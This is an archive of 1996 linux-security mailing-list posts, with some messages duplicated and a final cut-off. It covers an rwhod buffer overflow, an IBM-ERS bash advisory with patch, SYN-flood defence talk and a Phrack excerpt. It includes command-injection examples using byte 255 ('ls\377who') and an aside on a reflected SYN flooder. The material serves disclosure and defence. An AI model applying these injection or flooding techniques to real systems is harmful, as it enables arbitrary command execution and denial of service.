Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: [email protected] Precedence: list There is a remote buffer overflow in the path variable in rwhod.c in the line: (void) sprintf(path, "whod.%s", wd.wd_hostname); Although wd_hostname is defined to be only 32 characters, it is read as part of the wd structure from a remote host through a UDP packet and can be as large as the remainder of the structure starting at that point. Through examining the source this appears to be a problem in current OpenBSD, NetBSD, FreeBSD, and Linux distributions. Through penetration testing I have also found this problem present on AIX; I have not examined other platforms running rwhod and so do not know about their potential vulnerability. I have succesfully exploited this remotely to produce undesirable effects (segfaults and overwriting argv[0] on different OSes), I have not spent sufficient time on this to determine exactly how/if to compromise root directly with this overflow, but it is definitely something that should be corrected. I would suggest prior to the sprintf line you add something to the effect: if(strlen(wd.wd_hostname) >= sizeof(wd.wd_hostname)) { syslog(LOG_WARNING, "possible hostname overflow attack apparently from %x", from.sin_addr); continue; } Program: /usr/sbin/rwhod Affected Operating Systems: OpenBSD, NetBSD, FreeBSD, Linux, AIX, others. rwhod must be running on the system Requirements: Ability to send UDP packet to target host Security Compromise: Possible denial of service, Possible annoyance, Possibly root compromise? Author: Dave M. ([email protected]) Synopsis: rwhod reads a structure from a udp packet and does not check the hostname member of the structure for being the expected size. --------------------------------+--------------------- David J. Meltzer | Email: [email protected] Systems Engineer | Web: www.iss.net Internet Security Systems, Inc. | Fax: (404)252-2427 --------------------------------+--------------------- David J. Meltzer | Email: [email protected] Systems Engineer | Web: www.iss.net Internet Security Systems, Inc. | Fax: (404)252-2427 From [email protected] Thu Aug 22 06:52:46 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.10 $) id GAA08856; Thu, 22 Aug 1996 06:52:46 -0400 Date: Wed, 21 Aug 1996 11:51:50 -0400 (EDT) From: Todd W Burgess X-Sender: tburgess@ccshst01 To: [email protected] Subject: [linux-security] Saving Passwords in Binaries In-Reply-To: <[email protected]> Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: [email protected] Precedence: list I have been working on a program which will check for new mail on an IMAP server and have encountered an interesting problem. My program is written in C and runs (currently) under Linux and HPUX. It initiates an IMAP session by connecting to port 143 on the IMAP server. The problem is this: In order to start an IMAP session the IMAP server needs a username and a password (both must be in plain-text). A typical IMAP login string would look like "? login username password\n". In order to get the username and password I have come up with two solutions: Solution 1: Involves calling getuid(2) to get the user ID and then calling getpwuid(3) to get the encrypted password. I then query the user for the password, crypt(3) the user supplied password, compare the encrypted user supplied password with the one from getpwuid(3) and if they match then I know I have the right password. The program then will login to the IMAP server. Solution 2: Have the user edit a .h file. The user edits two defines one define is the IMAP username and the other is the password. The user then compiles the program, verifys that it works and deletes the .h file they edited. Problem with solution 2 is that if either the user has group or world read permissions set on the binary then it is posssible for an unauthorized individual to find out the user's password simply by doing a "strings " (because the user enters them into the .h file in plaintext form they get saved in the binary in plaintext). Solution 1 does not have the above security flaw. The only problem is that everytime you run it, you have to type in your password. The advantage to Solution 1 is the user does not have to compile the program to get it to work. So what it comes down to is this: I would be interested in hearing about ways I could store the password in the binary in an encrypted form. The criteria for the encryption algorithm is this: it can not violate any international laws, whatever gets encrypted must also be decrypted (ie no "one-way" encryption algorithms) and the algorithm makes it impractical to easily crack the password. I have very little experience in implementing encyption algorithms so I would be interested in hearing from people who have. The biggest encyption project I ever did was write a rot13 algorithm in 68000 assembly on a final exam. If anybody is interested in what I have done so far, e-mail me and I will send you the code. [REW: Cryptographically: if your program can decode the password, so can someone else. The easiest way would be to just run the program and use strace to find the "write username,password to the server". If you correctly emphasize that your encryption is "for authentification purposes only" you won't have export problems. I'd allow the user to put the IMAP loginname and password in a file. Your program should test that the file is not world readable. If you can't find that file, ask the user (i.e. fall back on your "solution 1"). The information in this file could be encrypted just as in your "solution 2".] University of Guelph, Computer Science Major E-mail: [email protected] URL: http://eddie.cis.uoguelph.ca/~tburgess From [email protected] Thu Aug 22 08:51:52 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.10 $) id IAA10282; Thu, 22 Aug 1996 08:51:52 -0400 Message-Id: <[email protected]> Subject: [linux-security] Locking consoles. To: [email protected] Date: Thu, 22 Aug 1996 10:39:37 +0200 (MET DST) From: [email protected] (Rogier Wolff) Content-Type: text Sender: [email protected] Precedence: list Rogier Wolff said something to the effect that Linux consoles could be locked by pressing control-D for a while in all VCs. Andries replied: > And that does not suffice on systems that do not spawn getty's > from inittab but upon a suitable keypress. > (On my system pressing Alt-UpArrow will create a fresh VC and a > login running there.) Rogier asked: How do you do that? Andries replies: > In /etc/rc.local: > ------------------------------- > loadkeys << EOF > alt keycode 103 = Spawn_Console > EOF > spawn_login & > ------------------------------- > spawn_login can be found in the kbd package. > There exist much more elaborate schemes using the same mechanism - > see the dynamic console package. > Andries From [email protected] Thu Aug 22 11:32:04 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.10 $) id LAA12361; Thu, 22 Aug 1996 11:32:04 -0400 From: Eilon Gishri Message-Id: <[email protected]> Subject: Re: [linux-security] Secure Filesystem In-Reply-To: from Kurt Hockenbury at "Aug 21, 96 11:20:48 am" To: [email protected] (Kurt Hockenbury) Date: Thu, 22 Aug 1996 15:56:41 +0300 (IDT) Cc: [email protected], [email protected] X-Mailer: ELM [version 2.4ME+ PL25 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: [email protected] Precedence: list > On Tue, 20 Aug 1996, Jeffrey Barber wrote: [Quoting trimmed --REW] > > You could probably also find illegally exported copies in non-US securty > archives, but this list isn't the place to discuss US export law. ftp://ftp.funet.fi/pub/crypt/utilities/disk/cfs-1.3.3.tar.gz [REW: And from Paul D. Robertson ([email protected]): ftp://utopia.hacktic.nl/pub/replay/pub/crypto/CRYPTOapps/cfs ] -- Eilon Gishri, Tel-Aviv University Computation Center Home 03-5078671 E-mail: [email protected] From [email protected] Thu Aug 22 11:32:23 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.10 $) id LAA12376; Thu, 22 Aug 1996 11:32:23 -0400 X-Authentication-Warning: explorer2.clark.net: proberts owned process doing -bs Date: Thu, 22 Aug 1996 09:06:46 -0400 (EDT) From: "Paul D. Robertson" X-Sender: proberts@explorer2 Reply-To: "Paul D. Robertson" To: [email protected] Subject: [linux-security] BoS: Mycroftish description of bash hole. (fwd) Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: [email protected] Precedence: list Hrm, havent seen this here yet. If this is a precursor to IBM actually issuing reports, then it's a good thing[tm] IMNSHO. [REW: Huh? What fool runs his Httpd as "root"?] Paul ----------------------------------------------------------------------------- Paul D. Robertson "My statements in this message are personal opinions [email protected] which may have no basis whatsoever in fact." PSB#9280 ---------- Forwarded message ---------- Date: Thu, 22 Aug 1996 16:26:56 -0400 From: Matthew Aldous To: [email protected] Subject: BoS: Mycroftish description of bash hole. Resent-Date: Thu, 22 Aug 1996 19:10:38 +1000 Resent-From: [email protected] Whilst I know you might not care for security problems on meditation, I just wanted to splode over the description of *why* this problem exists. (If you read section B, it's very mycroftish.) ------------------------------------------------------------------------------ register char *string; vs. register unsigned char *string; ------------------------------------------------------------------------------ Matt -----BEGIN PGP SIGNED MESSAGE----- AUSCERT has received the following Alert from the IBM ERS team concerning a vulnerability in the GNU "bash" shell. It is passed on for your information. If you believe that your system has been compromised, contact AUSCERT or your representative in FIRST (Forum of Incident Response and Security Teams). AUSCERT maintains an anonymous FTP service which is found on: ftp://ftp.auscert.org.au/pub/. This archive contains past SERT and AUSCERT Advisories, and other computer security information. AUSCERT also maintains a World Wide Web service which is found on: http://www.auscert.org.au/. Internet Email: [email protected] Facsimile: (07) 3365 4477 Telephone: (07) 3365 4417 (International: +61 7 3365 4417) AUSCERT personnel answer during Queensland business hours which are GMT+10:00 (AEST). On call after hours for emergencies. - -- Begin Included Advisory -- - --ERS-ALERT--ERS-ALERT--ERS-ALERT--ERS-ALERT--ERS-ALERT--ERS-ALERT--ERS-ALERT-- - ---EXTERNAL RELEASE---EXTERNAL RELEASE---EXTERNAL RELEASE---EXTERNAL RELEASE--- ======= ============ ====== ====== ======= ============== ======= ======= === === ==== ====== ====== === =========== ======= ======= === =========== === ======= === === === ==== === ===== === ======= ============== ===== === ===== ======= ============ ===== = ===== EMERGENCY RESPONSE SERVICE SECURITY VULNERABILITY ALERT 21 August 1996 13:00 GMT Number: ERS-SVA-E01-1996:004.1 =============================================================================== VULNERABILITY SUMMARY VULNERABILITY: A variable declaration error in "bash" allows the character with value 255 decimal to be used as a command separator. PLATFORMS: Bash 1.14.6 and earlier versions. SOLUTION: Apply the patch provided below. THREAT: When used in environments where users provide strings to be used as commands or arguments to commands, "bash" can be tricked into executing arbitrary commands. =============================================================================== DETAILED INFORMATION I. Description A. Introduction The GNU Project's Bourne Again SHell ("bash") is a drop-in replacement for the UNIX Bourne shell (/bin/sh). It offers the same syntax as the standard shell, but also includes additional functionality such as job control, command line editing, and history. Although "bash" can be compiled and installed on almost any UNIX platform, its most prevalent use is on "free" versions of UNIX such as Linux, where it has been installed as "/bin/sh" (the default shell for most uses). The "bash" source code is freely available from many sites on the Internet. B. Vulnerability Details There is a variable declaration error in the "yy_string_get()" function in the "parser.y" module of the "bash" source code. This function is responsible for parsing the user-provided command line into separate tokens (commands, special characters, arguments, etc.). The error involves the variable "string," which has been declared to be of type "char *." The "string" variable is used to traverse the character string containing the command line to be parsed. As characters are retrieved from this pointer, they are stored in a variable of type "int." On systems/compilers where the "char" type defaults to "signed char", this vaule will be sign-extended when it is assigned to the "int" variable. For character code 255 decimal (-1 in two's complement form), this sign extension results in the value (-1) being assigned to the integer. However, (-1) is used in other parts of the parser to indicate the end of a command. Thus, the character code 255 decimal (377 octal) will serve as an unintended command separator for commands given to "bash" via the "-c" option. For example, bash -c 'ls\377who' (where "\377" represents the single character with value 255 decimal) will execute two commands, "ls" and "who." II. Impact This unexpected command separator can be dangerous, especially on systems such as Linux where "bash" has been installed as "/bin/sh," when a program executes a command with a string provided by a user as an argument using the "system()" or "popen()" functions (or by calling "/bin/sh -c string" directly). This is especially true for the CGI programming interface in World Wide Web servers, many of which do not strip out characters with value 255 decimal. If a user sending data to the server can specify the character code 255 in a string that is passed to a shell, and that shell is "bash," the user can execute any arbitrary command with the user-id and permissions of the user running the server (frequently "root"). The "bash" built-in commands "eval," "source," and "fc" are also potentially vulnerable to this problem. III. Solutions A. How to alleviate the problem This problem can be alleviated by changing the declaration of the "string" variable in the "yy_string_get()" function from "char *" to "unsigned char *." B. Official fix from the "bash" maintainers The "bash" maintainers have told us they plan to fix this problem in Version 2.0 of "bash," but this will not be released for at least a few more months. C. Unofficial fix until the official version is released Until the "bash" maintainers release Version 2.0, this problem can be fixed by applying the patch below to the "bash" source code, recompiling the program, and installing the new version. The patch below is for Version 1.14.6 of "bash." Source code for this version can be obtained from ftp://prep.ai.mit.edu/pub/gnu/bash-1.14.6.tar.gz as well as many other sites around the Internet. - ---------------------------------- cut here ---------------------------------- *** parse.y.old Thu Nov 2 15:00:51 1995 - --- parse.y Tue Aug 20 09:16:48 1996 *************** *** 904,910 **** static int yy_string_get () { ! register char *string; register int c; string = bash_input.location.string; - --- 904,910 ---- static int yy_string_get () { ! register unsigned char *string; register int c; string = bash_input.location.string; - ---------------------------------- cut here ---------------------------------- To apply this patch, save the text between the two "--- cut here ---" lines to a file, change directories to the "bash" source directory, and issue the command patch < filename If you do not have the "patch" program, you can obtain it from ftp://prep.ai.mit.edu/pub/gnu/patch-2.1.tar.gz or you can apply the patch by hand. After applying the patch, recompile and reinstall the "bash" program by following the directions in the "INSTALL" file, included as part of the "bash" distribution. This patch is provided "AS IS" without warranty of any kind, including, without limitation, any implied warranties of merchantibility or fitness for a particular purpose. This advisory does not create or imply any support obligations or any other liability on the part of IBM or its subsidiaries. IV. Acknowledgements IBM-ERS would like to thank the IBM Global Security Analysis Laboratory at the IBM T. J. Watson Research Center for their discovery of this vulnerability, bringing it to our attention, providing the patch to fix it, and assistance in developing this alert. UNIX is a technology trademark of X/Open Company, Ltd. =============================================================================== IBM's Internet Emergency Response Service (IBM-ERS) is a subscription-based Internet security response service that includes computer security incident response and management, regular electronic verification of your Internet gateway(s), and security vulnerability alerts similar to this one that are tailored to your specific computing environment. By acting as an extension of your own internal security staff, IBM-ERS's team of Internet security experts helps you quickly detect and respond to attacks and exposures across your Internet connection(s). As a part of IBM's Business Recovery Services organization, the IBM Internet Emergency Response Service is a component of IBM's SecureWay(tm) line of security products and services. From hardware to software to consulting, SecureWay solutions can give you the assurance and expertise you need to protect your valuable business resources. To find out more about the IBM Internet Emergency Response Service, send an electronic mail message to [email protected], or call 1-800-742-2493 (Prompt 4). IBM-ERS maintains a site on the World Wide Web at http://www.ers.ibm.com/. Visit the site for information about the service, copies of security alerts, team contact information, and other items. IBM-ERS uses Pretty Good Privacy* (PGP*) as the digital signature mechanism for security vulnerability alerts and other distributed information. The IBM-ERS PGP* public key is available from http://www.ers.ibm.com/team-info/pgpkey.html. "Pretty Good Privacy" and "PGP" are trademarks of Philip Zimmerman. IBM-ERS is a Member Team of the Forum of Incident Response and Security Teams (FIRST), a global organization established to foster cooperation and response coordination among computer security teams worldwide. Copyright 1996 International Business Machines Corporation. The information in this document is provided as a service to customers of the IBM Emergency Response Service. Neither International Business Machines Corporation, Integrated Systems Solutions Corporation, nor any of their employees, makes any warranty, express or implied, or assumes any legal liability or responsibility for the accuracy, completeness, or usefulness of any information, apparatus, product, or process contained herein, or represents that its use would not infringe any privately owned rights. Reference herein to any specific commercial products, process, or service by trade name, trademark, manufacturer, or otherwise, does not necessarily constitute or imply its endorsement, recommendation or favoring by IBM or its subsidiaries. The views and opinions of authors expressed herein do not necessarily state or reflect those of IBM or its subsidiaries, and may not be used for advertising or product endorsement purposes. The material in this security alert may be reproduced and distributed, without permission, in whole or in part, by other security incident response teams (both commercial and non-commercial), provided the above copyright is kept intact and due credit is given to IBM-ERS. This security alert may be reproduced and distributed, without permission, in its entirety only, by any person provided such reproduction and/or distribution is performed for non-commercial purposes and with the intent of increasing the awareness of the Internet community. - ---EXTERNAL RELEASE---EXTERNAL RELEASE---EXTERNAL RELEASE---EXTERNAL RELEASE--- - --ERS-ALERT--ERS-ALERT--ERS-ALERT--ERS-ALERT--ERS-ALERT--ERS-ALERT--ERS-ALERT-- - -- End Included Advisory -- -----BEGIN PGP SIGNATURE----- Version: 2.6.2i Comment: Finger [email protected] to retrieve AUSCERT's public key iQCVAwUBMhx7xCh9+71yA2DNAQGktAP8D5SBbZRrdn9vgVzjMO6ZtapWmudSAlm+ QUmYzGebC9AxndCkciZX94CqAfdg/aBJY6i6/Z0+R8DHy1ndABbQ4iGirzot9I2V TIFUktCvxdifRGR4wTKLHTwFaFdW+b0R2GDhDsF05qf5vKF27qwameQKV0Smo3tA QpK8oLlQO4s= =/JYb -----END PGP SIGNATURE----- -- ------------------------------------------------------------------------------- "System Administration: It's a dirty job, but someone said I had to do it." Matthew Aldous : 019339629 : [email protected] : Mental Health Research Institute ------------------------------------------------------------------------------- linux-security/linux-security.960823100664 1767 1767 36773 6207421324 16666 0ustar majdommajdomFrom [email protected] Fri Aug 23 02:08:29 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.10 $) id CAA21377; Fri, 23 Aug 1996 02:08:29 -0400 Message-Id: Subject: Re: System log practicalities (was Re: [linux-security] qmail,wu.ftpd,deslogind, in.telnetsnoopd ?) To: [email protected] (Paul D. Robertson) Date: Thu, 22 Aug 1996 10:06:14 +0200 (MDT) From: "Daniel Roedding" Cc: [email protected], [email protected], [email protected], [email protected] In-Reply-To: from "Paul D. Robertson" at Aug 20, 96 10:44:11 am X-Mailer: ELM [version 2.4 PL23] Content-Type: text Content-Length: 1513 Sender: [email protected] Precedence: list Hi! Paul D. Robertson: > There are several Perl packages for managing firewall logs in this regard, and: > [REW: Anybody know a name we can tell to the search engines to find > one of those perl packages?] A small piece of awk script does this work for me. It takes regexps from a configuration file and is used in the form tail -f /var/adm/debug | logfilter | log2ticket ... The syslogd has to be configured to log everything to /var/adm/debug, logfilter filters out unwanted messages and gives the rest to log2ticket, which is a small C program that reads stdin and generates trouble tickets. If messages are coming in to log2ticket, the program waits up to n seconds (configurable) for further messages to prevent multiple tickets to be generated in case of a message flood. Every open ticket has to be closed in a certain time span, otherwise an "escalation pro- cedure" is started by the ticket management system. The programs are real simple and should run on a dedicated, "mostly closed" system that is able to perform worst-case actions on the host where the log entries are generated (e. g. shutting down inetd servi- ces). This is *not* a complete firewall component, but a kit to build such. The sources for all this are less than 20 k, if there's interest for it, I could write a small installation info and make it FTPable. Daniel -- Daniel Roedding [email protected] INTJ Padertown City +49-5251-541965 voice, 541334 data http://www.owl.de From [email protected] Fri Aug 23 02:09:07 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.10 $) id CAA21399; Fri, 23 Aug 1996 02:09:07 -0400 From: infinity Message-Id: <[email protected]> Subject: Re: [linux-security] inetd and denial-of-service To: [email protected] Date: Thu, 22 Aug 1996 08:49:02 -0700 (PDT) Cc: [email protected] In-Reply-To: from "Racer X" at Aug 21, 96 11:19:14 pm X-Mailer: ELM [version 2.4 PL24] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Content-Length: 5780 Sender: [email protected] Precedence: list -----BEGIN PGP SIGNED MESSAGE----- Racer X's thoughts were: | I started thinking about this a couple of days ago (right after I read | the source for the SYN-flooder in the latest 2600). I thought of a way | to at least try to avoid total denial-of-service. | | >From the sources I have seen for SYN-flooders, they generally forge the | source address. One style is to generate random source addresses, the By very defintion of a SYN flood, the source address has to be forged. [REW: I think you are disagreeing about a name-calling issue. "Racer" is thinking of sending bunches of SYNs from one machine. "infinity" is thinking about overflowing someones incoming SYN buffer and/or getting some other host to participate in the "fun"....] | other is to take a user-specified address. A way around the first style | is this: A randomly generated source address would be a horrible idea. You have a better than even chance of generating one that is reachable. [REW: That doesn't matter when you want to overflow someone's incoming network connections buffer by sending lots of syn's. As far as I know only linux-routers will send a host unreachable if their arp times out.] | If the max number of connects per unit time is passed, stop the server | for (say) 1 or 2 minutes. Then try to reverse DNS all those connects on | that port. Any that can't be reversed should be immediately dropped. A host may have DNS entries and still be unreachable (and vice versa). | Once you're back under the limit, restart the server. SYN flooding doesn't attack TCP-based servers so much as it attacks the TCP kernel. The monitoring and actions taken should reflect this... | You could get around the second style by specifying a max number of | connects to accept from any one site at a time. However, passing this | limit would not shut down the server, it would just deny that site until | it was back under limit. Bad idea. You cannot control any aspects of the Internet past yur box (or boxes). Therefore, you cannot control which hosts will go down. (Aside: I've thought about coding a SYN flooder that plays two reachable hosts off each-other. It floods both, exactly at the same time, each SYN-ladden packet purporting to come from the other host on it's flooded port.) | The more I think about this though, the more it seems this would be | better implemented in TCP wrappers (tcpd). It doesn't seem TOO difficult | to do, although I'm not sure if you would have to do anything in kernel The best way to do this is in the kernel. Briefly: A list of concurrent pending connection requests needs to be kept for each TCP port that is listen()ing. When this number of connection requests reachs n (n==backlog, or n==backlog-1) it does a few other checks, like perhaps the time in which all of these arrived (connections that arrive very close together would be indicative of a SYN flood) and it waits a few seconds. if the state does not proceed into SYN_SENT or CLOSED it frees the associated memory and tears down all the connection requests. The n value should be different for different ports. TCP/80 for example, would see it being higher... [REW: The complexity of determining an attack and allowing legal requests (e.g. a netscape who got 16 different tags in one packet will be trying to send 16 syn requests all at once. Quite possibly overflowing into n==backlog) is enough to start thinking about a user-level deamon that is passed info about the trouble cases....] | space too. For instance, if you have a connect that is in state | SYN_RECV, can you just arbitrarily drop it, or do you have to wait for | something to timeout in the TCP code? The TCP Connection-Establishment timer of 75 seconds causes connections to time out. In Linux however, this is not the case. Below is an excerpt from my whitepaper I did on TCP SYN flooding (from Project Neptune available in the next issue of Phrack). - ------------------------------------Excerpt------------------------------- --[ Linux Anomaly ]-- In doing my research for this project, I noticed a very strange implementation error in the TCP module of Linux. When a particular TCP server is flooded on a Linux host, strange things are afoot... First, it appears that the connection-establishment timer is broken. The 10 spoofed connection-requests keep the sockets in the SYN_RCVD state for just over 20 minutes (23 minutesto be exact. Wonder what the signifigance of this is... Hmmm...). Much longer than the 75-seconds it *should* be. The next oddity is even more odd... After that seemingly arbitrary time period (I have to determine what the hell is going on there), TCP moves the flooded sockets into the CLOSE state, where they *stay* until a connection-request arrives on a *different* port. If a connection-request arrives on the flooded port (now in the CLOSE state), it will not answer, acting as if it is still flooded. After the connection-request arrives on a different port, the CLOSEd sockets will be destroyed, and the original flooded port will be free to answer requests again. It seems as though the connection-request will spark the CLOSEd sockets into calling listen()... Damn wierd if you ask me... The implications of this are severe. I have been able to completely disable all TCP based servers from answering requests indefinitely. If all the TCP servers are flooded, there are none to recieve the valid connection request to alleviate the CLOSE state from the flooded connections. Bad news indeed. - ------------------------------------Excerpt------------------------------- I have since learned a few things from Erik Schenk... 1) The Linux TCP kernel does not directly setup timers for connection establishment or keepalive timeouts. 2) The Linux TCP kernel counts retransmissions. 3) It takes 15 retransmission before a pending connection request is torn down. This is 1389 seconds, or 23 minutes... This is to say that a Linux box is painfully vulnerable to SYN floods. There is a patch in the works... - -- [ [email protected] ] Editor, Phrack Magazine / Guild Corporation Chair the greatest trick the devil ever pulled was convincing the world he didn't exist -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQCVAwUBMhyBbQtXkSokWGapAQFZwgQAl6oljDTIflypKJRSXvCfkzwOIK7rU4Uq t+lkIfnqsLMxH1hgSGxOIUaV2lA7gn6wdesKoDxqv9xpKAU7PpyfpQxZkTdVyGTS nffv0wz8tRy3YxW2Od1mDf+a3RxfHSF61jPQB0GgvJYovZDg1Abp+0ovSosuQ01k yldDUV3ofvo= =j+7P -----END PGP SIGNATURE----- From [email protected] Fri Aug 23 02:09:28 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.10 $) id CAA21419; Fri, 23 Aug 1996 02:09:28 -0400 Date: Thu, 22 Aug 1996 17:10:55 +0200 From: [email protected] Message-Id: <[email protected]> To: [email protected], [email protected], [email protected], [email protected], [email protected], [email protected] Subject: Re: System log practicalities (was Re: [linux-security] qmail,wu.ftpd,deslogind, in.telnetsnoopd ?) Sender: [email protected] Precedence: list [REW: Just some source browsing found: /* * The IMMUTABLE and APPEND_ONLY flags can only be changed by * the super user when the security level is zero. */ so it should in principle be secure.] Optimist. Root can do anything she wants, also change kernel memory. [REW: I stand corrected. The "securelevel" support is not yet ready. It should for example block attempts to open raw devices, ioperm, and the like.....] From [email protected] Fri Aug 23 17:28:15 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.10 $) id RAA26037; Fri, 23 Aug 1996 17:28:15 -0400 Message-Id: <[email protected]> From: Runar Jensen To: [email protected] Subject: [linux-security] bash security hole Date: Thu, 22 Aug 1996 21:55:15 -0500 Sender: [email protected] Precedence: list Someone mentioned that they were not able to reproduce the recent bash bug. I tried the example mentioned in the alert with no luck, seemingly because bash does not expand the '\377' construct. I then got a little creative and tried the following: bash -c '`echo -e "ls\377who"`' This appeared to expand right, but would still only execute the 'ls'. For a moment I happily assumed that I wasn't vulnerable, but examining the source showed that I *should* be, according to the alert. It struck me that using bash to reproduce a bash bug may not be a very good idea... Sure enough, a simple system() call will work as expected: #include main() { system("ls\377who") } ...and yes, the patch fixes this. :) .../ru --- Runar Jensen System Administrator FirstNet of Acadiana From [email protected] Fri Aug 23 17:28:58 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.10 $) id RAA26056; Fri, 23 Aug 1996 17:28:58 -0400 Date: Thu, 22 Aug 1996 10:46:20 -0700 (PDT) From: Sam Quigley X-Sender: [email protected] To: [email protected] cc: Joel Maslak , Linux Security Mailing List Subject: Re: [linux-security] inetd and denial-of-service In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: [email protected] Precedence: list On Wed, 21 Aug 1996, Racer X wrote: > > 2. Block access to all ports except from "trusted sites". This assumes a > > open environment where the network medium is generally trusted. Note that > > IP spoofing attacks can occur if the network is not trusted. > > This can be done with TCP wrappers. > > [REW: Not quite. If inetd drops the port, tcpd won't get started. > Another problem is that a tcpd is started for every connection. This > means that state would have to be passed by files, creating locking > problems etc etc. -> Not trivial. Inetd seems fine to me.] I don't know a whole hell of a lot about xinetd, but I do know that it allows some sort of control over connections in the same style that TCP wrappers does. Perhaps xinetd would be a good solution for this? -sq From [email protected] Fri Aug 23 17:29:50 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.10 $) id RAA26084; Fri, 23 Aug 1996 17:29:50 -0400 Date: Thu, 22 Aug 1996 13:13:55 -0400 From: "Joseph S. D. Yao" Message-Id: <[email protected]> To: [email protected], [email protected], [email protected], [email protected], [email protected] Subject: Re: [linux-security] rwhod buffer overflow Sender: [email protected] Precedence: list > There is a remote buffer overflow in the path variable in rwhod.c in the > line: (void) sprintf(path, "whod.%s", wd.wd_hostname); ... > I would suggest prior to the sprintf line you add something to the effect: > if(strlen(wd.wd_hostname) >= sizeof(wd.wd_hostname)) { > syslog(LOG_WARNING, "possible hostname overflow attack apparently from %x", > from.sin_addr); > continue; > } You might also wish to modify the sprintf() as follows. Just because wd_hostname fits into wd doesn't mean (in some future revision) that it will fit into path. static char path_prefix[] = "whod."; (void) sprintf(path, "%s%.*s", path_prefix, sizeof(path) - sizeof(path_prefix), wd.wd_hostname); The above assumes that path is an array, rather than a pointer: I haven't looked. If it's a pointer, then change sizeof(path) to the defined constant that reliably defines the size of the array to which path points. This also neatly accounts for the terminating NUL, because that is measured in sizeof(path_prefix), but not copied over by "%s" in the sprintf() call. Yes, this will truncate some LONG host names. A better algorithm would find the combined lengths of the path_prefix + the hostname, allocate a buffer at least that long + 1 (if not already allocated), die or skip the host if the alloc fails (so many programs forget to check!!!), and then do the copy, freeing the buffer when [if] it's no longer being used. But that's a bigger patch than the above. [;-\] Joe Yao [email protected] - Joseph S. D. Yao linux-security/linux-security.960824100664 1767 1767 45465 6207707401 16670 0ustar majdommajdomFrom [email protected] Sat Aug 24 18:21:48 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.10 $) id SAA30977; Sat, 24 Aug 1996 18:21:48 -0400 Message-Id: Subject: Re: System log practicalities (was Re: [linux-security] qmail,wu.ftpd,deslogind, in.telnetsnoopd ?) To: [email protected] (Paul D. Robertson) Date: Thu, 22 Aug 1996 10:06:14 +0200 (MDT) From: "Daniel Roedding" Cc: [email protected], [email protected], [email protected], [email protected] In-Reply-To: from "Paul D. Robertson" at Aug 20, 96 10:44:11 am X-Mailer: ELM [version 2.4 PL23] Content-Type: text Content-Length: 1513 Sender: [email protected] Precedence: list Hi! Paul D. Robertson: > There are several Perl packages for managing firewall logs in this regard, and: > [REW: Anybody know a name we can tell to the search engines to find > one of those perl packages?] A small piece of awk script does this work for me. It takes regexps from a configuration file and is used in the form tail -f /var/adm/debug | logfilter | log2ticket ... The syslogd has to be configured to log everything to /var/adm/debug, logfilter filters out unwanted messages and gives the rest to log2ticket, which is a small C program that reads stdin and generates trouble tickets. If messages are coming in to log2ticket, the program waits up to n seconds (configurable) for further messages to prevent multiple tickets to be generated in case of a message flood. Every open ticket has to be closed in a certain time span, otherwise an "escalation pro- cedure" is started by the ticket management system. The programs are real simple and should run on a dedicated, "mostly closed" system that is able to perform worst-case actions on the host where the log entries are generated (e. g. shutting down inetd servi- ces). This is *not* a complete firewall component, but a kit to build such. The sources for all this are less than 20 k, if there's interest for it, I could write a small installation info and make it FTPable. Daniel -- Daniel Roedding [email protected] INTJ Padertown City +49-5251-541965 voice, 541334 data http://www.owl.de From [email protected] Sat Aug 24 18:24:04 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.10 $) id SAA30993; Sat, 24 Aug 1996 18:24:04 -0400 From: infinity Message-Id: <[email protected]> Subject: Re: [linux-security] inetd and denial-of-service To: [email protected] Date: Thu, 22 Aug 1996 08:49:02 -0700 (PDT) Cc: [email protected] In-Reply-To: from "Racer X" at Aug 21, 96 11:19:14 pm X-Mailer: ELM [version 2.4 PL24] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Content-Length: 5780 Sender: [email protected] Precedence: list -----BEGIN PGP SIGNED MESSAGE----- Racer X's thoughts were: | I started thinking about this a couple of days ago (right after I read | the source for the SYN-flooder in the latest 2600). I thought of a way | to at least try to avoid total denial-of-service. | | >From the sources I have seen for SYN-flooders, they generally forge the | source address. One style is to generate random source addresses, the By very defintion of a SYN flood, the source address has to be forged. | other is to take a user-specified address. A way around the first style | is this: A randomly generated source address would be a horrible idea. You have a better than even chance of generating one that is reachable. | If the max number of connects per unit time is passed, stop the server | for (say) 1 or 2 minutes. Then try to reverse DNS all those connects on | that port. Any that can't be reversed should be immediately dropped. A host may have DNS entries and still be unreachable (and vice versa). | Once you're back under the limit, restart the server. SYN flooding doesn't attack TCP-based servers so much as it attacks the TCP kernel. The monitoring and actions taken should reflect this... | You could get around the second style by specifying a max number of | connects to accept from any one site at a time. However, passing this | limit would not shut down the server, it would just deny that site until | it was back under limit. Bad idea. You cannot control any aspects of the Internet past yur box (or boxes). Therefore, you cannot control which hosts will go down. (Aside: I've thought about coding a SYN flooder that plays two reachable hosts off each-other. It floods both, exactly at the same time, each SYN-ladden packet purporting to come from the other host on it's flooded port.) | The more I think about this though, the more it 